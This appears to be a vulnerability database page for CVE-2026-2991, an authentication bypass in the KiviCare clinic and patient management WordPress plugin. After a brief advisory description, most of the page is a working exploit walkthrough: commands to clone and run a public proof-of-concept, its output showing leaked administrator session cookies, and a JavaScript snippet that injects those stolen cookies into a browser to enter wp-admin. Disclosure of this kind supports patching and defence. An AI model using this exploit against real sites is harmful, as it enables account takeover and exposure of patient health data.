# CVE-2026-2991 KiviCare authentication bypass

- **URL:** https://hackindex.io/vulnerabilities/CVE-2026-2991
- **CVE:** CVE-2026-2991
- **GHSA:** GHSA-vgm8-mf6q-65v2
- **CVSS score:** 9.8
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **Type:** CWE-287
- **Complexity:** LOW
- **Privileges:** NONE
- **Affected versions:** <=4.1.2
- **Patched versions:** >4.1.2
- **Published:** 2026-03-18
- **Updated:** 2026-03-30

CVE-2026-2991 is an authentication bypass vulnerability in the **KiviCare - Clinic & Patient Management System (EHR)** WordPress plugin affecting all versions up to and including **4.1.2**.

The plugin exposes a public REST endpoint at `/wp-json/kivicare/v1/auth/patient/social-login` that authenticates users via social login. The `patientSocialLogin()` function accepts an email address and an access token but **never validates the token against the claimed social provider**. Any unauthenticated attacker can log in as any registered patient by supplying only their email and an arbitrary string as the token.

Additionally, WordPress authentication cookies are issued **before** the patient-role check is enforced. This means that for non-patient accounts (including administrators), the response returns HTTP 403 but still includes valid `Set-Cookie` headers ,  leaking a replayable admin session to the attacker.

#### Authentication Bypass

**[joshuavanderpoll/CVE-2026-2991](https://github.com/joshuavanderpoll/CVE-2026-2991)**

```bash
git clone https://github.com/joshuavanderpoll/CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

python3 CVE-2026-2991.py  --url http://localhost:8080/ --email admin@example.com
#   _____   _____   ___ __ ___  __    ___ ___  ___  _ 
#  / __\ \ / / __|_|_  )  \_  )/ / __|_  ) _ \/ _ \/ |
#  | (__\ V /| _|___/ / () / // _ \___/ /\_, /\_, /| |
#  \___| \_/ |___| /___\__/___\___/  /___|/_/  /_/ |_|
#  https://github.com/joshuavanderpoll/CVE-2026-2991
#
#   CVE-2026-2991  —  KiviCare Authentication Bypass
#   KiviCare Clinic & Patient Management System <= 4.1.2
#   ────────────────────────────────────────────────────────────
#   [*] Target  : http://localhost:8080
#   [*] Endpoint: /wp-json/kivicare/v1/auth/patient/social-login
#   ────────────────────────────────────────────────────────────
#   [@] Checking KiviCare REST namespace...
#   [+] KiviCare REST namespace responded.
#   ────────────────────────────────────────────────────────────
#   [*] Target email  : admin@example.com
#   [*] Login type    : google
#   [*] Access token  : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#   ────────────────────────────────────────────────────────────
#   [@] Sending social login request...
#   [*] HTTP 403
#   [@] 403 Forbidden — This account is not a patient account
#   ────────────────────────────────────────────────────────────
#   [+] Secondary finding: auth cookies present on 403!
#   [@] Cookies were set before the role check. Replay them for a session.
#   ────────────────────────────────────────────────────────────
#   [@] Auth cookies:
#         wordpress_37d007a56d816107ce5b52c10342db37 = admin%7C1774035330%7CmFfiKYj9ZTsCd8nVHrjryI0vMSb…
#         wordpress_logged_in_37d007a56d816107ce5b52c10342db37 = admin%7C1774035330%7CmFfiKYj9ZTsCd8nVHrjryI0vMSb…
#   ────────────────────────────────────────────────────────────
#   [+] Paste into browser console on the target site:
#
#   // CVE-2026-2991 — inject stolen session cookies
#   (() => {
#     document.cookie = "wordpress_37d007a56d816107ce5b52c10342db37=admin%7C1774035330%7CmFfiKYj9ZTsCd8nVHrjryI0vMSbZc5GL12Qhg2XgjwN%7C9ff6f0a8f64112b6369e837edfd09f65811c3a34c55f8546b085b03e2e894d1d; path=/";
#     document.cookie = "wordpress_logged_in_37d007a56d816107ce5b52c10342db37=admin%7C1774035330%7CmFfiKYj9ZTsCd8nVHrjryI0vMSbZc5GL12Qhg2XgjwN%7Ce036b5d44e0123a0a8f85ad194c217da534b9c0a7355905653b710f9b963326c; path=/";
#     window.location.href = "http://localhost:8080/wp-admin/";
#   })();
#
#
```